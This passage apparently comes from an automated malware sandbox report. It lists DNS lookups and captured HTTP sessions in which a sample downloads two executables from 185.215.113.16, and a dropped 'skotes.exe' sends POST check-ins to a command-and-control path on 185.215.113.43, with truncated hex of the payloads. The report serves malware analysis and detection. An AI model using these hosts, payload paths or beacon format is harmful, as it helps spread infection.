Oct 30, 2024 12:37:42.773818970 CET	1.1.1.1	192.168.2.4	0x99e5	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773818970 CET	1.1.1.1	192.168.2.4	0x99e5	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773833036 CET	1.1.1.1	192.168.2.4	0x783f	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773850918 CET	1.1.1.1	192.168.2.4	0xf859	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:42.773850918 CET	1.1.1.1	192.168.2.4	0xf859	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.782138109 CET	1.1.1.1	192.168.2.4	0xe5f8	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.782162905 CET	1.1.1.1	192.168.2.4	0xe59c	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.783185005 CET	1.1.1.1	192.168.2.4	0x2a49	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.789932013 CET	1.1.1.1	192.168.2.4	0xa05a	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Oct 30, 2024 12:37:42.790576935 CET	1.1.1.1	192.168.2.4	0xd29a	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 30, 2024 12:37:42.790743113 CET	1.1.1.1	192.168.2.4	0x75a0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 12:37:42.790743113 CET	1.1.1.1	192.168.2.4	0x75a0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 12:37:42.790743113 CET	1.1.1.1	192.168.2.4	0x75a0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 12:37:42.790743113 CET	1.1.1.1	192.168.2.4	0x75a0	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 30, 2024 12:37:42.797631025 CET	1.1.1.1	192.168.2.4	0x3c93	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:37:42.797631025 CET	1.1.1.1	192.168.2.4	0x3c93	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.797631025 CET	1.1.1.1	192.168.2.4	0x3c93	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.797631025 CET	1.1.1.1	192.168.2.4	0x3c93	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.797631025 CET	1.1.1.1	192.168.2.4	0x3c93	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.798113108 CET	1.1.1.1	192.168.2.4	0xb35e	No error (0)	twitter.com		104.244.42.193	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.808902979 CET	1.1.1.1	192.168.2.4	0x82f4	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.808916092 CET	1.1.1.1	192.168.2.4	0xf264	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.808916092 CET	1.1.1.1	192.168.2.4	0xf264	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.808916092 CET	1.1.1.1	192.168.2.4	0xf264	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:37:42.808916092 CET	1.1.1.1	192.168.2.4	0xf264	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:01.843166113 CET	1.1.1.1	192.168.2.4	0xf4a2	No error (0)	youtube.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:02.010752916 CET	1.1.1.1	192.168.2.4	0x926e	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:38:02.010752916 CET	1.1.1.1	192.168.2.4	0x926e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:02.021629095 CET	1.1.1.1	192.168.2.4	0xd13e	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:02.173299074 CET	1.1.1.1	192.168.2.4	0x2d9f	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:38:02.173299074 CET	1.1.1.1	192.168.2.4	0x2d9f	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:02.533881903 CET	1.1.1.1	192.168.2.4	0x8d06	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:38:02.533881903 CET	1.1.1.1	192.168.2.4	0x8d06	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:02.923368931 CET	1.1.1.1	192.168.2.4	0xaf9d	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:05.881362915 CET	1.1.1.1	192.168.2.4	0x57c6	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:38:05.881362915 CET	1.1.1.1	192.168.2.4	0x57c6	No error (0)	star-mini.c10r.facebook.com		157.240.252.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:05.890808105 CET	1.1.1.1	192.168.2.4	0xea83	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.900333881 CET	1.1.1.1	192.168.2.4	0x87fd	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:38:30.900333881 CET	1.1.1.1	192.168.2.4	0x87fd	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.903475046 CET	1.1.1.1	192.168.2.4	0x7dcc	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.903475046 CET	1.1.1.1	192.168.2.4	0x7dcc	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.903475046 CET	1.1.1.1	192.168.2.4	0x7dcc	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.903475046 CET	1.1.1.1	192.168.2.4	0x7dcc	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.906409979 CET	1.1.1.1	192.168.2.4	0xc1c6	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:38:30.906409979 CET	1.1.1.1	192.168.2.4	0xc1c6	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.917856932 CET	1.1.1.1	192.168.2.4	0x2ad1	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.920392990 CET	1.1.1.1	192.168.2.4	0x7ff4	No error (0)	services.addons.mozilla.org		151.101.193.91	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.920392990 CET	1.1.1.1	192.168.2.4	0x7ff4	No error (0)	services.addons.mozilla.org		151.101.65.91	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.920392990 CET	1.1.1.1	192.168.2.4	0x7ff4	No error (0)	services.addons.mozilla.org		151.101.1.91	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.920392990 CET	1.1.1.1	192.168.2.4	0x7ff4	No error (0)	services.addons.mozilla.org		151.101.129.91	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:30.930059910 CET	1.1.1.1	192.168.2.4	0xb6f6	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Oct 30, 2024 12:38:30.930059910 CET	1.1.1.1	192.168.2.4	0xb6f6	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Oct 30, 2024 12:38:30.930059910 CET	1.1.1.1	192.168.2.4	0xb6f6	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Oct 30, 2024 12:38:30.930059910 CET	1.1.1.1	192.168.2.4	0xb6f6	No error (0)	services.addons.mozilla.org			28	IN (0x0001)	false
Oct 30, 2024 12:38:31.561871052 CET	1.1.1.1	192.168.2.4	0xccf4	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:38:31.561871052 CET	1.1.1.1	192.168.2.4	0xccf4	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 30, 2024 12:38:32.234355927 CET	1.1.1.1	192.168.2.4	0xf8c1	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:38:32.234355927 CET	1.1.1.1	192.168.2.4	0xf8c1	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 30, 2024 12:38:40.115959883 CET	1.1.1.1	192.168.2.4	0xf17b	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49744	185.215.113.16	80	3608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:36:31.273386955 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 12:36:32.189158916 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:36:32 GMT Content-Type: application/octet-stream Content-Length: 2895872 Last-Modified: Wed, 30 Oct 2024 10:42:46 GMT Connection: keep-alive ETag: "67220da6-2c3000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2c 00 00 04 00 00 fa d5 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$, `@ ,,`Ui` @ @.rsrc`2@.idata 8@fbnfxrsu++:@rjcetyim ,,@.taggant@,",@
Oct 30, 2024 12:36:32.189213037 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:32.189253092 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:32.189285040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:32.189321995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:32.189357996 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:32.189393044 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:32.189446926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 30, 2024 12:36:32.189482927 CET	1236	IN	Data Raw: 8b 4e 59 67 5c 6a 60 59 cc 6f fe 03 fa d6 9c 99 06 97 61 dd 68 d0 76 05 14 9b 30 04 95 19 12 d3 55 a3 49 08 16 12 54 c8 c6 2a 12 c3 d3 b7 59 06 0e cf 60 44 1b 75 8e c7 97 94 b3 3a 17 bd a0 d0 fb 0b 7d 0f 9b 5e 53 7f 59 cd fb f7 9c f8 60 80 7e 4d Data Ascii: NYg\j`Yoahv0UIT*Y`Du:}^SY`~M=jz,Y'{ n84-PV7FAP:2@,-h9vYdn%}9i;z@![xX^ZW`rIwKPMX#T0<RV\XGiS\|,X
Oct 30, 2024 12:36:32.189521074 CET	1236	IN	Data Raw: 73 e0 56 a6 6e 55 6b 0d 5e 0e 53 2d 46 0d 59 0d c7 f0 6b f9 55 f1 66 29 79 ec e5 96 68 4d 1f 07 96 5f 5c ae 93 64 9e 3e 50 85 5f 96 1e 8c 33 5c 66 cc 14 96 d0 c1 16 f8 51 ab 62 13 ea dc 52 91 15 f2 50 00 24 ce 44 ff 13 ed 70 ee 47 a0 58 3a 5c db Data Ascii: sVnUk^S-FYkUf)yhM_\d>P_3\fQbRP$DpGX:\_d9p/Ln;Aw\|r2P+WUS[R]po+1b<sglgK-Gi,\2doI"m/K0@le/<jFb4>rGHp_c9O8#!N3`Q.
Oct 30, 2024 12:36:32.194947958 CET	1236	IN	Data Raw: 2a 95 5e 68 43 a4 92 3b c4 37 f4 ff 76 08 75 ab be 27 0b 06 8a 1b 5d 0d e7 2d a0 0b 4b 26 81 b5 34 fa 68 07 80 73 cf 88 32 75 61 49 4c 93 2b 0d 73 3f cf 97 b6 0e be a5 31 35 72 ce c9 13 0e 42 35 5c 4e d3 96 15 5f 89 f3 02 c0 ca 86 07 0d 72 e8 26 Data Ascii: ^hC;7vu']-K&4hs2uaIL+s?15rB5\N_r&L %v_h:iGeJG=q{!@@uxi:Gf5g@\|{n9\Pq,}F8g"4Id3I6J5[h5i'.@'r>vG$o}7f!7"C!4mHK$@0
Oct 30, 2024 12:36:35.035448074 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 30, 2024 12:36:35.320312023 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:36:35 GMT Content-Type: application/octet-stream Content-Length: 1933824 Last-Modified: Wed, 30 Oct 2024 11:24:18 GMT Connection: keep-alive ETag: "67221762-1d8200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L!9@WkgLtgL @.rsrc@.idata @ P+@baulhwjgp2h@nnowpgbrpL\@.taggant0L"`@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49745	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:36:46.191302061 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 30, 2024 12:36:47.090303898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:36:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49746	185.215.113.43	80	6216	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 12:36:48.617059946 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 30, 2024 12:36:49.559787989 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 30 Oct 2024 11:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 32 36 30 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 36 30 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 32 36 30 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 